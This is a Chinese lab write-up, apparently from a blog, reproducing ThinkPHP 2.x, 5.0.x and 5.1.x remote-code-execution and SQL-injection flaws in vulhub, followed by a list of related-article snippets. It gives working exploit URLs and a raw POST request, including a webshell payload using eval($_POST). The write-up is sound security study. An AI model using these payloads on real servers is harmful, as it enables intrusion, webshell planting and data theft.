vulhub-thinkphp漏洞复现

article/2025/8/2 13:47:19

vulhub-thinkphp漏洞复现

https://silentx.gitee.io/2022/09/06/thinkphp/

一.ThinkPHP 2.x 任意代码执行漏洞

1.概述

漏洞成因:ThinkPHP 2.x版本中,使用preg_replace的 /e 模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

参考链接:https://www.freebuf.com/sectool/223149.html


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/thinkphp/2-rce   //进入2-rce目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

2.2.访问http://192.168.1.242:8080/


3.复现

3.1.执行phpinfo()

http://192.168.1.242:8080/index.php?s=/index/index/name/${@phpinfo()}

3.2.构造webshell

http://192.168.1.242:8080/index.php?s=/index/index/name/${@print(eval($_POST[123456]))}


4.防护

更新至较高版本


二.ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

1.概述

thinkphp5.0中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

参考链接:https://xz.aliyun.com/t/3570


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/thinkphp/5-rce   //进入5-rce目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

2.2.访问http://192.168.1.242:8080/


3.复现

执行命令whoami

http://192.168.1.242:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

使用工具


4.防护

升级,参考链接:https://blog.thinkphp.cn/869075


三.ThinkPHP5 5.0.23 远程代码执行漏洞

1.概述

thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/thinkphp/5.0.23-rce   //进入5.0.23-rce目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

2.2.访问http://192.168.1.242:8080/


3.复现

发包

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 76_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

同样可以使用工具利用漏洞


4.防护

升级


四.ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

1.概述

通过控制in语句的值位置,即可通过传入一个数组,从而造成了SQL注入漏洞

参考链接:https://xz.aliyun.com/t/125


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/thinkphp/in-sqlinjection/  //进入in-sqlinjection目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

2.2.访问http://192.168.1.242


3.复现

信息泄露

http://192.168.1.242/index.php?ids[]=1&ids[]=2

sql注入(不能进行子查询)

http://192.168.1.242/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1


4.防护

对于这个$k 可以过滤掉所有的特殊字符,以防特殊字符的引入造成MYSQL的报错;当然最好的办法还是关闭掉debug模式。


http://chatgpt.dhexx.cn/article/SuowAjjb.shtml

相关文章

[Vulhub] ThinkPHP漏洞合集

文章目录 ThinkPHP 2.x 任意代码执行漏洞0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现0x05 getshell Thinkphp5 5.0.22 / 5.1.29远程执行代码漏洞0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现0x05 getshell ThinkPHP5 5.0.23远程…

thinkphp框架漏洞复现

环境搭建请参考vulhub官网,https://vulhub.org 目录 一、2-rce漏洞 二、5.0.23-rce漏洞 三、5-RCE 一、2-rce漏洞 ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由: $res preg_replace((\w).$depr.([^.$depr.\/])e, $var[\\\1\]…

MSF复现Thinkphp漏洞

简介 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外…

ThinkPHP漏洞总结复现

ThinkPHP漏洞总结 简介版本Thinkphp 2.x 任意代码执行漏洞漏洞原理复现过程修复意见 Thinkphp5-5.0.22/5.1.29远程执行代码漏洞漏洞原理影响范围复现过程修复意见 Thinkphp5.0.23远程代码执行漏洞漏洞原理影响范围复现过程修复意见 Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞漏洞…

ThinkPHP 漏洞利用工具

在Github上搜寻好用的安全工具,来充实武器库,实属一大乐趣所在。 当看到ThinkPHP十年磨一剑的提示,那么今天这里分享的工具就可以派上用场了,一键检测ThinkPHP全版本漏洞。 01、TPscan 一键ThinkPHP漏洞检测,基于Python3,命令行检测,集成了14个常见的ThinkPHP框架漏洞检…

ThinkPHP历史漏洞

文章目录 ThinkPHP简介Thinkphp历史漏洞Thinkphp 2.x 任意代码执行漏洞漏洞描述影响版本漏洞复现 Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)漏洞描述影响版本漏洞复现 ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)漏洞描述影响版本漏洞复现 Think…

thinkphp漏洞总结

目录 前言 一、远程代码执行漏洞 1.1 影响范围 1.2 漏洞详情 二、5.x远程命令注入 三、5.1.x SQL注入 前言 thinkphp是一个国内轻量级的开发框架,采用phpapache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有th…

Thinkphp漏洞详解合集

文章目录 Thinkphp6.0.12LTS反序列化漏洞环境漏洞分析 thinkphp lang命令执行环境影响版本漏洞分析漏洞复现 CNVD-2018-24942(t5RCE)环境影响版本漏洞分析漏洞复现 Thinkphp3.2.x命令执行环境漏洞分析漏洞复现 thinkphp-2x-rce漏洞环境影响版本漏洞分析 Thinkphp5.0.23变量覆盖…

thinkphp漏洞复现

所有文章,仅供安全研究与学习之用,后果自负! thinkphp漏洞 前言一、thinkphp-2x-rce 代码执行0x01 漏洞描述0x02 影响版本0x03 漏洞利用0x04 漏洞修复 二、thinkphp 代码执行 (CNVD-2018-24942)0x01 漏洞描述0x02 影响范围0x03 漏洞利用这就完成了&#…

【shell】shell脚本实战-while循环语句

前言 上文我们讨论了for循环的使用,在有限循环里,我们使用for循环是很方便的一件事情,今天我们来探讨下while循环 while循环语句的语法分析 语法格式一: while [条件] do操作 done语法格式二: while read line do操作…

linux中shell的循环

循环主要分为3种 1.for循环 for循环的基本语法结构是三步走 for ##条件do ##要做什么 done ##结束 借几个脚本来理解一下…

【Linux】shell编程之循环语句

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、循环语句二、for循环语句1.for 语句的结构2.for语句应用示例 三、while 循环语句1.while 循环语句结构2.while语句应用示例 四、until 循环五、跳出循环六、死循…

shell-循环

接上一篇shell运算符接着往下说,shell循环: shell循环有三种,一种是for循环,一种是while循环,还有一种是until循环,循环体中和java类似,可以使用break调出当前循环,continue继续下一…

linux\bash shell for命令\循环

内容来自《Linux命令行与shell脚本编程大全.第3版 (布鲁姆,布雷斯纳汉)》for命令 下面是基本格式: for var in list # 或者把do也写在这一行:for var in list; do docommands done例如,读取列表: for test in A…

linux用while循环输出1到10,Linux Shell系列教程之(十一)Shell while循环 | Linux大学...

摘要 在上一篇Linux Shell系列教程之(十)Shell for循环中,我们已经对Shell 循环语句的for循环进行了介绍,本篇给大家介绍下Shell 中另一种循环语句:Shell while循环。 在上一篇Linux Shell系列教程之(十)Shell for循环中,我们已经…

Linux命令行循环执行shell命令浅谈

本文主要介绍了Linux命令行,循环执行shell命令的相关知识,主要包括死循环,普通计数循环,以及Linux shell循环命令 while死循环的用法,需要的朋友可以参考下 Linux命令行,循环执行shell命令 死循环 命令格式 1 while t…

Linux中shell的循环语句

目录 一、循环语句 1、for循环语句 批量添加未存在的用户,用户名存放在users.txt文件中,每行一个初始密码均设为123456,新增users.txt 文件,vim users.txt 录入用户 2、while循环语句 通过变量RANDOM获得1-999随机数,提示用户猜测…

【LinuxShell】Shell编程之循环语句

文章目录 前言一、循环1.循环的作用2.循环和遍历 二、for循环语句1.for语句的用法2.for逻辑结构3.for语句的格式4.echo的用法5.for语句的典型案列 三、while循环语句1.while语句的用法2.while逻辑结构3.while语句的格式4.while语句的典型案例 四、until命令1.until语句的用法2.…

【Linux】:shell循环语句

运行Shell脚本有两种方法: 1、vi test.sh #! /bin/bash #编写内容 运行sh test.sh 2、chmod x ./test.sh #脚本具有执行权限 ./test.sh #执行脚本 if条件判断 单分支if条件: if [ 条件判断式 ]then程序 fi注意:中括号与条件判断式之间有空…

shell脚本循环执行一个linux命令,shell脚本编程之循环语句

在运行脚本时重复执行一系列的命令是很常见的,这时我们就需要使用循环语句来达到这个目的。 一、for命令 格式:for 变量 in 列表;do 循环体 done for命令会遍历列表中的每一个值,并且在遍历完成后退出循环。 列表形式有以下几种&a…